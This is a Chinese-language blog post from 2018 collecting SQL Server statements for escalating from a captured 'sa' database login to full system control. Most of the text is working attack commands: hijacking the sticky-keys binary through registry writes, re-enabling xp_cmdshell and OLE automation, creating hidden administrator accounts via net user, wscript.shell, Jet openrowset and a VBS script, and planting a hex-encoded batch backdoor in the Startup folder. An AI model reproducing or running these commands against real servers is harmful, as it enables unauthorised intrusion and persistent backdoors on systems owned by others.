Sa提權Sql語句大全

FLy_鵬程萬里發表於2018-05-13
Sa提權方式很多,而最快捷的方式就是shift粘滯鍵映象劫持。這種Sa提權方法必須滿足幾個條件,資料庫可以遠端訪問,伺服器開啟了終端遠端訪問也就是3389和粘滯鍵功能。這樣就可以利用Microsoft SQL Server Management Studio或其他漏洞檢測工具來連線遠端資料庫了。

個人推薦使用Microsoft SQL Server Management Studio,可以到微軟官方下載地址:http://www.microsoft.com/web/downloads/platform.aspx。如果不用資料庫可以不安裝,選裝Microsoft SQL Server Management Studio就可以了。然後連結資料庫引擎,用已得到的sa使用者連線資料庫,執行下面sql語句,再通過遠端桌面連結伺服器並連續按5次任意鍵就可以得到伺服器的系統許可權了。

從網上收集了Sa提權用到的sql語句,在Sa提權過程中結合實際情況來使用吧。

獲取終端埠號(兩種方法)
 
DECLARE @RESULT VARCHAR(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';
 
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';
 
設定終端埠(這兩個登錄檔項必須相同)
 
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber','REG_DWORD',3389;
 
EXEC master..xp_regwrite  'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Control\Terminal Server\Wds\rdpwd\Tds\tcp','PortNumber','REG_DWORD',3389 ;
 
查詢是否被別人劫持過了(唉!)
 
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger';
 
映象劫持shift.exe 得到系統許可權 CmdShell (也可以劫持其他檔案如:taskmgr.exe)
 
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';
 
刪除映象劫持(不想和別人共享伺服器用完了就刪掉吧)
 
EXEC master..xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
命令不能執行或許可權不足請參考如下提權方法:
未能找到儲存過程’master..xpcmdshell’。

恢復方法:查詢分析器連線後,

第一步執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'DECLARE @o INT
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然後按F5鍵命令執行完畢。
無法裝載 DLL xpsql70.dll 或該DLL所引用的某一DLL。原因126(找不到指定模組。)

恢復方法:查詢分析器連線後,

第一步執行:sp_dropextendedproc "xp_cmdshell"
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然後按F5鍵命令執行完畢。
無法在庫 xpweb70.dll 中找到函式 xp_cmdshell。原因: 127(找不到指定的程式。)

恢復方法:查詢分析器連線後,

第一步執行:EXEC sp_dropextendedproc 'xp_cmdshell'
第二步執行:EXEC sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然後按F5鍵命令執行完畢。

恢復xp_cmdshell

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
新增儲存過程

sp_addextendedproc 'sp_oacreate','odsole70.dll
sp_addextendedproc 'xp_lake2', 'd:\wwwroot\caoo\wwwroot\xplake2.dll'
sp_dropextendedproc xp_lake2
–可以在網上下載到xplake2.dll (http://www.0×54.org/lake2/program/xplake2.dll)

加賬號

EXEC xp_lake2 'net user > d:\wwwroot\caoo\wwwroot\1.txt'
EXEC xp_lake2 'net user 123 123 /add'
EXEC xp_lake2 'net localgroup administrators 123 /add'
4終極方法:


 
如果以上方法均不可恢復,請嘗試用下面的辦法直接新增帳戶:

查詢分析器連線後,

2000servser系統:

DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',NULL,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'
 
DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod
@shell,'run',NULL,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新使用者 /add'
xp或2003server系統:

DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod
@shell,'run',NULL,'c:\windows\system32\cmd.exe /c net user 123 123 /add'
DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod
@shell,'run',NULL,'c:\windows\system32\cmd.exe /c net localgroup administrators 新使用者 /add'
替換shift後門,跟開章的映象劫持效果一樣

DECLARE @o INT
EXEC sp_oacreate 'scripting.filesystemobject', @o OUT
EXEC sp_oamethod @o, 'copyfile',NULL,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
DECLARE @oo INT
EXEC sp_oacreate 'scripting.filesystemobject', @oo OUT
EXEC sp_oamethod @oo, 'copyfile',NULL,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
開啟資料庫沙盤模式

EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
SELECT * FROM openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin 1234 /add")')
SELECT * FROM openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators admin /add")')
不同的作業系統,路徑也不一樣,需要根據情況做修改:

NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\

EXEC master..xp_dirtree 'C:\Documents and Settings\Administrator\「開始」選單\程式\啟動',1,1
 
ALTER DATABASE [sq_crmchuangyu] SET RECOVERY FULL--
CREATE TABLE cmd (a image)--
backup log [sq_crmchuangyu] TO disk = 'c:\cmd1' WITH init--
INSERT INTO cmd (a) VALUES (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [sq_crmchuangyu] TO disk = 'C:\Documents and Settings\Administrator\「開始」選單\程式\啟動\start.bat'--
DROP TABLE cmd--
在獲得SA密碼後,往往因為伺服器管理者或”前人”將net.exe和net1.exe被限制使用,無法新增管理員賬號。我們知道VBS在活動目錄 (ADSI)部分有一個winnt物件,用來管理本地資源,利用它可以不依靠CMD等命令就能新增一個管理員,具體程式碼如下(測試成功!很實用!):

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi介面,繫結
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","test") '建立使用者
od.SetPassword "1234" '設定密碼
od.SetInfo '儲存
Set of=GetObject(os&"/test",user) '得到使用者
oe.add os&"/test"
將上面的程式碼儲存為1.vbs,然後執行,命令為“cscript 1.vbs”,這樣就會在系統新增一個系統名為test,密碼為1234的使用者。具體在查詢分析器執行的程式碼如下:

DECLARE @o INT, @f INT, @t INT, @ret INT
EXEC sp_oacreate 'scripting.filesystemobject', @o OUT
EXEC sp_oamethod @o, 'createtextfile', @f OUT, 'c:\1.vbs', 1
EXEC @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
EXEC @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
EXEC @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
EXEC @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
EXEC @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'
EXEC @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
EXEC @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
EXEC @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
EXEC @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
執行完上面的語句,再執行下面這行程式碼,這行程式碼一定單獨執行,不要與上面的放在一起執行,否則會提示 “c:\1.vbs正被另一個程式執行”而無法成功新增使用者:

EXEC master..xp_cmdshell 'cscript c:\1.vbs'
如果系統使用者沒有新增成功,有可能是因為系統使用者的密碼1234的太簡單,不符合伺服器的複雜密碼策略,可以考慮設定的複雜些,然後再測試一下。

Microsoft SQL Server2005在預設情況下,一些儲存過程是關閉著的,需要命令開啟:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user’
執行SQL語句時發生錯誤!

錯誤描述:SQL Server 阻止了對元件 ‘Ole Automation Procedures’ 的 過程’sys.sp_OACreate’ 的訪問,因為此元件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 ‘Ole Automation Procedures’。有關啟用 ‘Ole Automation Procedures’ 的詳細資訊,請參閱 SQL Server 聯機叢書中的 “外圍應用配置器”。

EXEC master..sp_addextendedproc  'xp_cmdshell','xplog70.dll'--成功。
在執行SQL語句
[Microsoft][ODBC SQL Server Driver][SQL Server]在執行 xp_cmdshell 的過程中出錯。呼叫 ‘CreateProcess’ 失敗,錯誤程式碼: ’5′。

遇到 sql server 2005 ,恢復xp_cmdshell的辦法:

開啟XP_cmdshell:
 
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
 
開啟'OPENROWSET':
 
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
 
開啟'sp_oacreate':
 
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;
就這麼多了!總之,具體問題具體分析吧!

相關文章